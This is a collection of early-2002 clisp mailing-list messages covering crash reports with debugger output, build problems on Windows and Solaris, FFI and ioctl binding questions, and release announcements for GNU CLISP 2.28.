> Ignore the lock and proceed

this is normal when running "make test"

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Klaus Momberger schrieb:
> > Get Paul Graham's "ANSI Common Lisp" book.
> >
> I found "Object Oriented Common Lisp" by Stephen Slade
> more useful as a tutorial. Sam, is there anything
> terribly wrong with it ?

nothing wrong with it. just that I don't like it that much and 
that most others are much better.
Slade is fine for starting a real-world CLOS project, 
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Hello,

I justed wanted to "advertise" this book as a good
introductory tutorial, I think it is a pity that
hardly anybody knows about it. I agree that it is 
not a CLOS book, the title is misleading.

-Klaus

--- Reini Urban <rurban@x-ray.at> wrote:
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> > >
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> Slade
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> > terribly wrong with it ?
> 
> nothing wrong with it. just that I don't like it
> that much and 
> that most others are much better.
> Slade is fine for starting a real-world CLOS
> project, 
> but Keene and Kiczales are much better.
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I am having some stability problems with CLISP.  Specifically,
aborting MAKE-ARRAY seems to leave CLISP in an unstable state.  Has
anyone else encountered similar problems when aborting MAKE-ARRAY?

I have included below a simple, reproducible example of the lossage I
am experiencing.


zzz$ uname -a
NetBSD zzz 1.5.2 NetBSD 1.5.2 (BRAIN) #1: Sat Sep 29 12:44:54
EDT 2001     root@zzz:/u1/src/sys/arch/i386/compile/BRAIN i386
zzz$ clisp --version

[1]> GNU CLISP 2.27 (released 2001-07-17) (built on zzz)
zzz$ clisp -q -I

[1]> (make-array 10000000)
^C
** - Continuable Error
PRINT: User break
If you continue (by typing 'continue'): Continue execution
1. Break [2]> :bt

- NIL
1. Break [2]> :a

[3]> (ext:gc)
3672424
[4]> (ext:gc)
Segmentation fault
zzz$ 


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Before I ask my question, I should introduce myself. I am Scott Williams, a
Senior in High School from Loveland Colorado. I've been programming for a
long time (too long to really make a difference how long), and I recently picked
up Lisp as a language. And now I'm hooked. (The story is longer, but of
dubious interest to the real world :o) I've been watching the list for a while
and keeping up with CVS versions of clisp.

But I'm disappointed by the lack of imaging support in Lisp, and rather than
just complain, I think it would make an interesting learning experience and
possibly a useful contribution to the clisp community if I were to endow
clisp with some image processing bindings (such as load, blur, composite, and so
forth). To avoid the long ordeal of inventing for myself the whole art of
imaging, I'm inclined to integrate ImageMagick into the project (though I
haven't looked too far into the licenses of either clisp or ImageMagic yet and
can't say if this is even possible... perhaps someone already knows?).

As for the question: Is there any demand at all for this in the wider world?
Has someone already done it? (I looked around and couldn't really find
anything that would allow one to load an image and manipulate it painlessly.)
Should I integrate it into the clisp source tree as a module, or distribute it as
a seperate module and have the user link it in after lisp.run has already
been installed? Or (the horror) write everything natively in Lisp?

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> * In message <wzivgcdd007.fsf@melbourne.laas.fr>
> * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems"
> * Sent on Sun, 03 Mar 2002 18:39:04 +0100
> * Honorable Eric Marsden <emarsden@laas.fr> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>   Sam> I tested it on Linux and FreeBSD.
> 
> | % ls -l data
> | total 0
> |    0 lrwxrwxrwx    1 emarsden tsf            73 Mar  3 18:24 UnicodeData.txt -> ..//opt/src/cvs-clisp/clisp/utils/unicode/ftp.unicode.org/UnicodeData.txt
> |    0 lrwxrwxrwx    1 emarsden tsf            40 Mar  3 18:24 clhs.txt -> ..//opt/src/cvs-clisp/clisp/src/clhs.txt

okay - fixed, please try again.
(this "try again", unfortunately, includes those of you, who have
already tested the latest CVS CLISP and reported success.
sorry guys. )-:

>   Sam> There will be _NO_ release until I get confirmation from the users that
>   Sam> the current CVS CLISP compiles out of the box on at least win32 and
>   Sam> Solaris.
> 
> is the FFI supposed to work on Solaris? 
yes.

> I generally build without it, but I just tried to build with the
> regexp and wildcard modules, and it fails with
> 
> ,----
> | /tmp/clisp-gcc/lisp.run -M /tmp/clisp-gcc/lispinit.mem -B /tmp/clisp-gcc -N /tmp/clisp-gcc/locale -Efile UTF-8 -norc -q -c regexp.lisp
> | Compiling file /tmp/clisp-gcc/regexp/regexp.lisp ...
> | *** - There is no package with name "FFI"
> `----

try
$ ./configure --with-dynamic-ffi

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Hi,

It's strange, I'm compiling on the other computer and get this:
Yesterday all was ok...

io.i.c
io.d(8666) : error C2039: 'printstring_hash_table' : is not a member of 'object_tab_'
        lispbibl.d(8320) : see declaration of 'object_tab_'
io.d(8666) : error C2198: 'pr_hex6_obj' : too few actual parameters
NMAKE : fatal error U1077: 'cl' : return code '0x2'
Stop.  

Best Regards,
Arseny




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> * In message <200203032322.g23NMxE27403@panix3.panix.com>
> * On the subject of "[clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state?"
> * Sent on Sun, 3 Mar 2002 18:22:59 -0500 (EST)
> * Honorable Carl Shapiro <cshapiro@panix.com> writes:
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> I am having some stability problems with CLISP.  Specifically,
> aborting MAKE-ARRAY seems to leave CLISP in an unstable state.  Has
> anyone else encountered similar problems when aborting MAKE-ARRAY?
> 
> I have included below a simple, reproducible example of the lossage I
> am experiencing.
> 
> 
> zzz$ uname -a
> NetBSD zzz 1.5.2 NetBSD 1.5.2 (BRAIN) #1: Sat Sep 29 12:44:54
> EDT 2001     root@zzz:/u1/src/sys/arch/i386/compile/BRAIN i386
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> 
> [1]> GNU CLISP 2.27 (released 2001-07-17) (built on zzz)
> zzz$ clisp -q -I
> 
> [1]> (make-array 10000000)
> ^C
> ** - Continuable Error
> PRINT: User break

this is in PRINT, not MAKE-ARRAY
please try
(make-list 10000000)
^C
do you get the same?
could you play with the various *PRINT-* vars to determine what makes
this happen?

> If you continue (by typing 'continue'): Continue execution
> 1. Break [2]> :bt
> 
> - NIL
> 1. Break [2]> :a
> 
> [3]> (ext:gc)
> 3672424
> [4]> (ext:gc)
> Segmentation fault
> zzz$ 

wow!!! in the _second_ GC!

do you get a core?
can you generate a backtrace?
(you might need to rebuild with -g...)

thanks.

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> * In message <32572.1015204173@www13.gmx.net>
> * On the subject of "[clisp-list] General question regarding adding new features to clisp"
> * Sent on Mon, 4 Mar 2002 02:09:33 +0100 (MET)
> * Honorable Scott Williams <ortmage@gmx.net> writes:
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> Before I ask my question, I should introduce myself. I am Scott
> Williams, a Senior in High School from Loveland Colorado. I've been
> programming for a long time (too long to really make a difference how
> long), and I recently picked up Lisp as a language. And now I'm
> hooked.
welcome to the club!

> (The story is longer, but of dubious interest to the real world :o)
you'd be surprised! :-)

> I've been watching the list for a while and keeping up with
> CVS versions of clisp.
what is your platform?
did you build today to pre-test the release?

> But I'm disappointed by the lack of imaging support in Lisp, and
> rather than just complain, I think it would make an interesting
> learning experience and possibly a useful contribution to the clisp
> community if I were to endow clisp with some image processing bindings
> (such as load, blur, composite, and so forth). To avoid the long
> ordeal of inventing for myself the whole art of imaging, I'm inclined
> to integrate ImageMagick into the project (though I haven't looked too
> far into the licenses of either clisp or ImageMagic yet and can't say
> if this is even possible... perhaps someone already knows?).

CLISP is under GPL, ImageMagic under a BSD-style license (IIUC).
at any rate, there should not be a problem to interface CLISP with
ImageMagic.

> As for the question: Is there any demand at all for this in the wider
> world?
I thought about it - and decided that this is a great idea.
I did not have time then, unfortunately.
I have even less time now. :-(

> Has someone already done it? (I looked around and couldn't really find
> anything that would allow one to load an image and manipulate it
> painlessly.)  Should I integrate it into the clisp source tree as a
> module, or distribute it as a seperate module and have the user link
> it in after lisp.run has already been installed?

I suggest that you make it a CLISP module and contribute it to CLISP.
have a look at modules/regexp/

> Or (the horror) write everything natively in Lisp?

I don't think this is useful.  reimplementing everything one more time
in yet another language is for learning that other language, not for
the "real life".

good luck!

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> * In message <134271576967.20020304125224@ich.dvo.ru>
> * On the subject of "[clisp-list] object_tab_ missing printstring_hash_table"
> * Sent on Mon, 4 Mar 2002 12:52:24 +1000
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> It's strange, I'm compiling on the other computer and get this:
> Yesterday all was ok...
> 
> io.i.c
> io.d(8666) : error C2039: 'printstring_hash_table' : is not a member of 'object_tab_'
>         lispbibl.d(8320) : see declaration of 'object_tab_'
> io.d(8666) : error C2198: 'pr_hex6_obj' : too few actual parameters
> NMAKE : fatal error U1077: 'cl' : return code '0x2'
> Stop.  

you have an old io.d - printstring_hash_table has been indeed removed
on 2002-02-01.
cvs is your friend.

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Well, I think I have really tried everything now, but I am not getting the
same results as others who have tried to help me.

(lisp-implementation-type) returns:

"2.27 (released 2001-07-17) (built 3204312676) (memory 3223661245)"

which is somewhat different from what another user reported:

[2]> (lisp-implementation-version)
"2.27 (released 2001-07-17) (built on ssteingold.exapps.com [172.23.101.12])"

I don't know if these differences are important.

Also - try as I might, I cannot get anything from the RUN-PROGRAM function
except this error message:

[%s:10790]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file
specified.

Some suggested I try the :indirectp keyword, but :indirectp is not a valid
keyword in my copy of CLISP:

(describe 'run-program)  only returns these keywords:

:arguments :input :output :if-output-exists :wait


Also,EXECUTE does not work properly for me, so at this point I am unable to
continue trying to port a UNIX-based CLISP program to Windows.

Any additional insight on what might be my problem would be greatly
appreciated.  My paths are set properly, but RUN-PROGRAM won't run any
executable, regardless of whether it is in my path or whether I am in the
directory where the exe is located.  

Thanks for any further advice,

Tara

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Tara C. Matise, Ph.D.              matise@biology.rutgers.edu
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Rutgers University                 732-445-1147 (F)

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<P><FONT SIZE=3D2 FACE=3D"Monaco">(lisp-implementation-type) =
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<P><FONT SIZE=3D2 FACE=3D"Monaco">&quot;2.27 (released 2001-07-17) =
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<P><FONT SIZE=3D2 FACE=3D"Monaco">which is somewhat different from what =
another user reported:</FONT>
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(lisp-implementation-version)=0D&quot;2.27 (released 2001-07-17) (built =
on ssteingold.exapps.com [172.23.101.12])&quot;</FONT>
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<P><FONT SIZE=3D2 FACE=3D"Monaco">I don't know if these differences are =
important.</FONT>
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<P><FONT SIZE=3D2 FACE=3D"Monaco">Also - try as I might, I cannot get =
anything from the RUN-PROGRAM function except this error =
message:</FONT>
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<P><FONT SIZE=3D2 FACE=3D"Monaco">[%s:10790]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Monaco">*** - Win32 error 2 =
(ERROR_FILE_NOT_FOUND): The system cannot find the file =
specified.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Some suggested I try the :indirectp =
keyword, but :indirectp is not a valid keyword in my copy of =
CLISP:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">(describe 'run-program)&nbsp; only =
returns these keywords:</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">:arguments :input :output =
:if-output-exists :wait</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Also,EXECUTE does not work properly =
for me, so at this point I am unable to continue trying to port a =
UNIX-based CLISP program to Windows.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Any additional insight on what might =
be my problem would be greatly appreciated.&nbsp; My paths are set =
properly, but RUN-PROGRAM won't run any executable, regardless of =
whether it is in my path or whether I am in the directory where the exe =
is located.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Thanks for any further advice,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Monaco">Tara</FONT>
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Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; matise@biology.rutgers.edu</FONT>
<BR><FONT FACE=3D"Comic Sans MS">Department of =
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bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 732-445-1147 (F)</FONT>
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<P><FONT FACE=3D"Comic Sans MS">Nelson Biological Laboratories - =
B211</FONT>
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   From: Sam Steingold <sds@gnu.org>
   Date: 03 Mar 2002 22:25:39 -0500

   this is in PRINT, not MAKE-ARRAY
   please try
   (make-list 10000000)
   ^C
   do you get the same?
   could you play with the various *PRINT-* vars to determine what makes
   this happen?

If I break in the printer with *PRINT-LENGTH* set to NIL I can
reliably cause a segmentation fault on the first try.  With either
*PRINT-LENGTH* set to some small value or with printing of arrays
completely turned off I can reproduce the segfault.  However, this only
works if I have created some garbage before hand, say by making an
uninterrupted call to (MAKE-ARRAY 10000000).

bash-2.05$ clisp -q -I

[1]> (setq *print-array* nil)
NIL
[2]> (make-array 10000000)
#<ARRAY T (10000000)>
[3]> (make-array 10000000)
^C

** - Continuable Error
GC: User break
If you continue (by typing 'continue'): Continue execution
1. Break [4]> :a

[5]> (ext:gc)
3672448
[6]> (ext:gc)
Segmentation fault (core dumped)
bash-2.05$

   wow!!! in the _second_ GC!

Pretty weird, right?
 
Sometime today I realized that I had never manually invoked the CLISP
collector and so I gave it a try, and then did it a second time hoping
to get a hint as to what the return value signifies.  That's when I
first noticed the segmentation fault!    

   do you get a core?
   can you generate a backtrace?
   (you might need to rebuild with -g...)

I can get a core file, but my clisp isn't compiled with symbols so gdb
isn't very revealing.  I'll try recompiling with symbols tomorrow and
giving this another try.

hippocampus$ gdb --quiet
(gdb) file /usr/local/lib/clisp/base/lisp.run
Reading symbols from /usr/local/lib/clisp/base/lisp.run...
(no debugging symbols found)...done.
(gdb) core lisp.run.core
Core was generated by `lisp.run'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/libexec/ld.elf_so...(no debugging symbols found)...
done.
Reading symbols from /usr/lib/libtermcap.so.0...(no debugging symbols found)...
done.
Reading symbols from /usr/lib/libc.so.12...(no debugging symbols found)...done.
#0  0x804b58a in gc_morris2 ()
(gdb) where
#0  0x804b58a in gc_morris2 ()
#1  0x2297cbbc in ?? ()
Cannot access memory at address 0x680a7000.
(gdb) info local
No symbol table info available.
(gdb) 


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> > * In message <32572.1015204173@www13.gmx.net>
> > * On the subject of "[clisp-list] General question regarding adding new
> features to clisp"
> > * Sent on Mon, 4 Mar 2002 02:09:33 +0100 (MET)
> > * Honorable Scott Williams <ortmage@gmx.net> writes:
> >
> > Before I ask my question, I should introduce myself. I am Scott
> > Williams, a Senior in High School from Loveland Colorado. I've been
> > programming for a long time (too long to really make a difference how
> > long), and I recently picked up Lisp as a language. And now I'm
> > hooked.
> welcome to the club!

Thank you :o)

> 
> > (The story is longer, but of dubious interest to the real world :o)
> you'd be surprised! :-)
> 

[ Beginning long story :o) ]
Well, I started in GW-Basic on an ancient 8086 when I was in 3rd grade, and
stopped programming for a while because it was soo frusterating. I changed to
QBasic (found a version of 4.5 laying around) and spent a long time playing
with event loop style gui's. Got fed up with QB's lack of sockets support,
moved to DJGPP with Allegro and did some more event loop gui stuff (I don't
think I ever finished a project, but I never really had a goal in mind either).
I still used QB because it had strings support. I messed around with
 C++ for a while but decided i really didn't like it very much (just a
personal style preference). I moved to windows 2000 and found out that DJGPP
wasn't happy there, so i switched to cygwin... Windows 2000 crashed and that was
the last straw: I moved to linux (mandrake 7.2 was current when I moved) and
found that Allegro was too slow in X, so I gave up and just used GTK. With the
GUI taken care of, I needed a real project to work on. At that time, I had
been trying to give a presentation in class and found out that Powerpoint just
/sucked/ when it came to syncing sound and video. So I thought I'd just
write a little program... it would take stills or text and blur/rotate/fade them
and render them to an MPEG stream. It went through 3 incarnations in C, one
in C++, and when I got serious and started using GTK, it went through 2 more,
and I stopped because i was thinking about extensibility... which is how I
got into Lisp: At first I was thinking only extension language... but I tried
writing a little feasibility test using CLOS and got much farther than I had
ever gotten before. So I just need a way to manipulate images with Lisp.
[ End long story ]

> what is your platform?
> did you build today to pre-test the release?
I did... I'm on an i586-linux-gnu running gcc 3.1 (libc 6). It built
beautifully, all tests passed. Configured:
# -*- Makefile -*- for the CLISP binaries
# DO NOT EDIT! GENERATED AUTOMATICALLY!
# This file was created on host scott.dgroup as the output of the command:
# ./makemake --with-readline --with-gettext --with-dynamic-ffi
--with-dynamic-modules --with-export-syscalls --with-module=wildcard --with-module=regexp
--with-module=bindings/linuxlibc6

MODULES =  wildcard regexp bindings/linuxlibc

> CLISP is under GPL, ImageMagic under a BSD-style license (IIUC).
> at any rate, there should not be a problem to interface CLISP with
> ImageMagic.
> 
> > As for the question: Is there any demand at all for this in the wider
> > world?
> I thought about it - and decided that this is a great idea.
> I did not have time then, unfortunately.
> I have even less time now. :-(

I am still in school, but now I have a clear project in mind and will
probably implement it slowly but consistently as I learn exactly how CLISP
internals work. I still need to try to understand how i will manage the memory, since
images could get quite large... perhaps i might have to disobey basic lisp
principles and do destructive surgury on picture data to avoid constant data
copying and garbage collection?
 
> I suggest that you make it a CLISP module and contribute it to CLISP.
> have a look at modules/regexp/

Thanks... Should I keep a current CVS copy of CLISP until my module works
reliably and then trouble you to merge it? 

> 
> > Or (the horror) write everything natively in Lisp?
> 
> I don't think this is useful.  reimplementing everything one more time
> in yet another language is for learning that other language, not for
> the "real life".

I agree... thanks for the support! 

> 
> good luck!
> 
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>>>>> "Sam" =3D=3D Sam Steingold <sds@gnu.org> writes:

  Sam> okay - fixed, please try again.
  Sam> (this "try again", unfortunately, includes those of you, who have
  Sam> already tested the latest CVS CLISP and reported success.
  Sam> sorry guys. )-:

right, it works now, thanks. =20
   =20
  ecm> is the FFI supposed to work on Solaris?=20
  Sam> yes.

  Sam> try
  Sam> $ ./configure --with-dynamic-ffi

thanks, is there a reason why this defaults to on for linux/x86, but
needs to be specified explicitly on Solaris?  Also, it would be nice
if it appeared in the output of =ABconfigure --help=BB.

Apparently the avcall tests fail:

,----
| /tmp/clisp-gcc$ more avcall/minitests.output.sparc-sun-solaris2.7=20
| Int f(Int,Int,Int):({1},{2},{3})->{6}
| Int f(Int,Int,Int):({1},{2},{3})->{9}
| J f(J,int,J):({47,11},2,{73,55})->{120,68}
| J f(J,int,J):({47,11},2,{73,55})->{9,902231815}
`----

I'm afraid that the error in avcall-sparc.s isn't immediately evident
to me :-)
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Hi all,

here's the summary of my poll:

o MS-Windows-NT, -2000 and -95 crash.
Thanks to Arseny Slobodjuck for producing an even smaller crasher program.

No crashes occur on on:
o Linux on both Intel and PPC
o Solaris
o Mac OS X
(exact versions of OS mostly unknown/unreported/not asked for).

Thanks for your help,
	Jorg Hohle. 


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> * In message <10779.1015219323@www34.gmx.net>
> * On the subject of "Re: [clisp-list] General question regarding adding new features to clisp"
> * Sent on Mon, 4 Mar 2002 06:22:03 +0100 (MET)
> * Honorable Scott Williams <ortmage@gmx.net> writes:
>
> I still need to try to understand how i will manage the memory, since
> images could get quite large... perhaps i might have to disobey basic
> lisp principles and do destructive surgury on picture data to avoid
> constant data copying and garbage collection?

you will need to learn how the FFI works.
lots of reading ahead!

> > I suggest that you make it a CLISP module and contribute it to CLISP.
> > have a look at modules/regexp/
> 
> Thanks... Should I keep a current CVS copy of CLISP until my module
> works reliably and then trouble you to merge it?

yes.



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> * In message <wzid6ykbsz8.fsf_-_@melbourne.laas.fr>
> * On the subject of "prerelease testing (was Re: [clisp-list] REINITIALIZ=
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>   ecm> is the FFI supposed to work on Solaris?=20
>   Sam> yes.
>=20
>   Sam> try
>   Sam> $ ./configure --with-dynamic-ffi
>=20
> thanks, is there a reason why this defaults to on for linux/x86, but
> needs to be specified explicitly on Solaris?

because FFI tests fail on Solaris but pass on Linux.

> Also, it would be nice
> if it appeared in the output of =ABconfigure --help=BB.

it is supposed to be auto-detected.
the right solution is to fix FFI on Solaris.

> Apparently the avcall tests fail:
here you go.


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> * In message <200203040432.g244WoR06029@panix3.panix.com>
> * On the subject of "Re: [clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state?"
> * Sent on Sun, 3 Mar 2002 23:32:50 -0500 (EST)
> * Honorable Carl Shapiro <cshapiro@panix.com> writes:
>
>    please try
>    (make-list 10000000)
>    ^C
>    do you get the same?
and?

>    could you play with the various *PRINT-* vars to determine what makes
>    this happen?
> 
> If I break in the printer with *PRINT-LENGTH* set to NIL I can
> reliably cause a segmentation fault on the first try.

I was also interested in *print-pretty*.

So, what is the combination of vars that gets the crash the earliest?

> Sometime today I realized that I had never manually invoked the CLISP
> collector and so I gave it a try, and then did it a second time hoping
> to get a hint as to what the return value signifies.

impnotes.html is your friend...

> I can get a core file, but my clisp isn't compiled with symbols so gdb
> isn't very revealing.  I'll try recompiling with symbols tomorrow and
> giving this another try.

I do not observe this in the current CVS, and my hardware is totally
inadequate for intensive configure/build/test cycles, so I would
appreciate it if you could try to use binary search to find out _when_
the bug was introduced.
use CVS - get the earliest revision, check whether the crash is there,
if not - try a revision midway between then and now...

good luck...


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Sam,

Is there a timetable on availability of a pre-built Win32 binary for 2.28?

Also, this URL:

         <ftp://ftp.gnu.org/pub/ftp/clisp/release/latest>

is incorrect. I believe it should be one of the following, all apparently 
equivalent owing to the use of symlinks on <ftp://ftp.gnu.org/>:

         <ftp://ftp.gnu.org/gnu/clisp/latest>
         <ftp://ftp.gnu.org/gnu/clisp/release/latest>
         <ftp://ftp.gnu.org/pub/gnu/clisp/latest>
         <ftp://ftp.gnu.org/pub/gnu/clisp/release/latest>


Randall Schulz
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At 08:42 2002-03-04, you wrote:
>The following message is a courtesy copy of an article
>that has been posted to comp.os.linux.announce as well.
>
>GNU CLISP 2.28 is now available at
>  <http://clisp.cons.org>
>  <http://www.clisp.org>
>  <http://sourceforge.net/project/showfiles.php?group_id=1355>
>  <ftp://ftp.gnu.org/pub/ftp/clisp/release/latest>
>  <ftp://cvs2.cons.org/pub/lisp/clisp/source/latest/>
>  <ftp://cvs2.cons.org/pub/lisp/clisp/binaries/latest/>
>please ask questions about CLISP on <clisp-list@lists.sourceforge.net>.
>if you would like to contribute to CLISP development, please subscribe
>to <clisp-devel@lists.sourceforge.net> and send patches there.
>
>...
>
>
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> Matise@Biology.Rutgers.Edu schrieb:

> Well, I think I have really tried everything now, but I am not getting
> the same results as others who have tried to help me.

> lisp-implementation-type) returns: 
                      ^^^^ = version
> "2.27 (released 2001-07-17) (built 3204312676) (memory 3223661245)"

> Also,EXECUTE does not work properly for me, so at this point I am
> unable to continue trying to port a UNIX-based CLISP program to
> Windows.

> Any additional insight on what might be my problem would be greatly
> appreciated.  My paths are set properly, but RUN-PROGRAM won't run any
> executable, regardless of whether it is in my path or whether I am in
> the directory where the exe is located.

Hallo

win98 autoexec.bat (part)
PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\CLISP;

(lisp-implementation-type) returns: 
"CLISP"

lisp-implementation-version) returns: 
"2000-03-06 (March 2000)"
or 
(lisp-implementation-version) returns: 

"2.27 (released 2001-07-17) (built 3204291076) (memory 3602426290)"

(run-program "dir" :indirectp :output)
shows a dos-like dir

(execute "editor.exe")
opens the editor.

What goes wrong on your windows? Is it possible a windows error?

stefan

why does (clisp) not return "hallo" ?



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> * Honorable Randall R Schulz <rrschulz@cris.com> writes:
>
> Is there a timetable on availability of a pre-built Win32 binary for 2.28?

I have no access to win32.
I asked Arseny Slobodjuck and Todd Sabin to build a win32 distribution.
Unfortunately, I made a strategic mistake of letting each of them know
that I asked _both_, so, I guess, both of them are waiting for the
other to do it.  :-)

Okay, in alphabetical order:
(random t)
131100680
(aref ["Todd Sabin" "Arseny Slobodjuck"] (random 2))
"Arseny Slobodjuck"

Arseny, please create a win32 distribution.

Thanks.

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Sam,

I suppose I should educate myself, but if you or someone would indulge a 
quick and trivial question, what compiler is used to produce the Win32 
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> * In message <5.1.0.14.2.20020304142942.0240a310@pop3.cris.com>
> * On the subject of "Building CLISP for Windwos"
> * Sent on Mon, 04 Mar 2002 14:33:14 -0800
> * Honorable Randall R Schulz <rrschulz@cris.com> writes:
>
> I suppose I should educate myself, but if you or someone would indulge
> a quick and trivial question, what compiler is used to produce the
> Win32 binaries? MSVC, or something else?

see CLISP/win32*/
I used msvc6 with CLISP/win32msvc/makefile.msvc5 and followed the
instructions in CLISP/win32msvc/INSTALL
everything worked just dandy.
win32gcc (not cygwin, but mingw) did not work for me.
YMMV.

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Hello Sam,

Tuesday, March 05, 2002, 8:19:25 AM, you wrote:

Sam> Arseny, please create a win32 distribution.
You didn't asked to upload it !

I started this day from formatting C: instead of D:,
so I should recover a bit...

Formatting is not my mistake - it's some strange
windows behavior - it formatted both volumes !
Actually I have nonusual partition configuration,
but it had to warn me ...

I hope I can upload a new version in 12 - 24 hours,
just say where to put it.


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I had some problems compiling new-clx on solaris.  Attached is a gzip'd
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Folks,

    I just did a CVS update to the latest release (2.28) on my RedHat
  7.2 machine (running Kernel 2.4.9-21):

%  cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co -r clisp_2_28-2002-03-03 clisp

and used the following configuration steps:

% cd clisp

% ./configure --with-readline --with-nogettext --with-dynamic-ffi \
  --with-dynamic-modules --with-export-syscalls --with-module=wildcard \
  --with-module=regexp --with-module=bindings/linuxlibc6 \
  --with-module=clx/new-clx --build build

lisp.run builds ok, then loads all the modules to dump interpreted.mem:
 ./lisp.run -B . -Efile UTF-8 -norc -m 750KW \
     -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"

next, using the interpreted.mem image, we compile "compiler.lisp":
./lisp.run -B . -Efile UTF-8 -norc -m 1000KW -M interpreted.mem -q -c compiler.lisp

  which works fine, so we try to load the images with only 750KW and no
  specified image:

./lisp.run -B . -Efile UTF-8 -norc -m 750KW \
   -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"

  but this bombs with a segfault:

;; Loading file /usr/local/src/clisp/build/deprecated.lisp ...
;; Loading of file /usr/local/src/clisp/build/deprecated.lisp is finished.
*** - handle_fault error2 ! address = 0x203C5000 not in [0x202BD000,0x203866E4) !
SIGSEGV cannot be cured. Fault address = 0x203C5000.
make: *** [halfcompiled.mem] Segmentation fault

  Can someone suggest something to try?

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Hi,

The following
(ffi:def-c-var compress-indirect (:type ffi:c-pointer)
   (:name "clisp_ffi_indirector"))
generates
	extern char* clisp_ffi_indirector;

Impnotes.html states:
c-pointer=20
	This type corresponds to what C calls void*, an opaque pointer.
However foreign1.lisp implements (in to-c-typedecl):
	((c-pointer c-string) (format nil "char* ~A" name))

Is there a reason for this deviation?

Otherwise I'd prefer the documentation to be followed and not have to =
second-guess the implementation. I.e. I'd like to see as output from =
COMPILE-FILE:
extern void*. This would allow consistency with declarations made via =
FFI:C-LINES.

I'd call the current behaviour a bug since I obtain a C compiler error:
> gcc -O2 -W -Wall ffi.c
ffi.c:3: conflicting types for `clisp_ffi_indirector'
ffi.c:2: previous declaration of `clisp_ffi_indirector'

Is there something weird about avoiding using void* that I missed?
Is that something left from the pre ANSI-C history of CLISP?

My scenario is as follows:
(ffi:def-c-var compress-indirect (:type ffi:c-pointer)
   (:name "clisp_ffi_indirector"))
;; Now define the variable (instead of "extern" reference)
(ffi:c-lines "~&void *clisp_ffi_indirector =3D NULL;~%")
is what I would expect to work from the documentation.

Thanks for your help,
	J=F6rg H=F6hle.


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On Sat, Feb 23, 2002 at 05:50:01PM +0100, Peter Wood wrote:

> I have to jump through rings to get something like it to work on Clisp,
> and chuck portability out the window. [SNIP]

How is

,----
| (probe-file
|  (merge-pathnames
|   (user-homedir-pathname)
|   (make-pathname :name ".inputrc")))
`----

not portable?

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On Tue, Mar 05, 2002 at 05:20:43PM +0000, Dave Pearson wrote:
> On Sat, Feb 23, 2002 at 05:50:01PM +0100, Peter Wood wrote:
> 
> > I have to jump through rings to get something like it to work on Clisp,
> > and chuck portability out the window. [SNIP]
> 
> How is
> 
> ,----
> | (probe-file
> |  (merge-pathnames
> |   (user-homedir-pathname)
> |   (make-pathname :name ".inputrc")))
> `----
> 
> not portable?

Hi, Dave

Here's the bit you censored out:

"On all the mentioned implementations (probe-file X) where X can be a
string naming a directory or file, with or without a trailing slash in
the case of a directory, works just fine as a test for the existence
of X, and where the return value can be used sensibly.

I have to jump through rings to get something like it to work on
Clisp, and chuck portability out the window."

If you reread that, I think you'll agree that your code doesn't apply
to what I'm talking about.

Here is the challenge:

Write a few lines of portable Common Lisp code which will accept a
string and test wether it names an existing file or directory, and
return a useable pathname if it does.

On all the other implementations (probe-file X) does it.

Regards,
Peter


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Hi,

The ffi definition for ioctl in linux.lisp is this:

(def-c-call-out ioctl (:arguments (fd int)
                                  (request int)
                                  (arg c-pointer))
                       (:return-type int))

Which I think is wrong. Since ioctl can either take 2 or 3 args, and
in the case  of 2 args, you need some way to get the answer.  I
changed it to the following:

(def-c-call-out ioctl-read
  (:name "ioctl")
  (:arguments (fd int)
	      (request int)
	      (arg (c-ptr int) :out :alloca))
  (:return-type int))

(def-c-call-out ioctl-write
  (:name "ioctl")
  (:arguments (fd int) (request int) (arg int))
  (:return-type int))

The following can be used to test it from the console (won't work
under X):

(defun check-leds (fd)
  (let ((KDGETLED #x4b31)
	(LED_SCR 1)
	(LED_NUM 2)
	(LED_CAP 4))
    (multiple-value-bind (r s)
	(linux:ioctl-read fd KDGETLED)
      (cond ((= LED_SCR s) 'scroll)
	    ((= LED_NUM s) 'num)
	    ((= LED_CAP s) 'caps)
	    (t 'none)))))

(defun flash-leds (fd n)
;  (let ((fd (linux:open "/dev/tty" linux:O_NOCTTY 0))

;this works but I think it messes up the flags which control the leds
;since they won't turn on aftwrwards on the console on which the
;function has run.  Don't worry, just temporary.
  
  (let ((KDSETLED  #x4b32))
    (unwind-protect (dotimes (v n t)
		      (dolist (led '(1 2 4) nil)
			(linux:ioctl-write fd KDSETLED led)
			(sleep 0.050)) (sleep 0.025))
      (linux:ioctl-write fd KDSETLED 0))))

Where 'fd' is the number of the tty you are on.

I have some questions:

Could ioctl be defined as one function with :in-out parameters,
instead of being split up into two?

If a C function expects a (pointer to) a function in its argument
list, can I give it a lisp function.  Ie, will the ffi convert it to
the correct type for C, automatically.  What should the allocation be?  

Regards,
Peter


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I have been trying to port garnet to m$windows.
The approach I have taken is to compile clisp using cygwin,
building new-clx, linking it against libW11, a gpl'd implementation
of xlib on m$windows.
After adding some unimplemented functions to libW11, I got the test
programs distributed with mit-clx to run, but I am having trouble
with garnet, in particular, I am getting problems which I think are
caused by a uninitialized variable.
My question is:
Is there documentation on the build process for new-clx, in particular
the conversion process between the combination c and lisp like code in
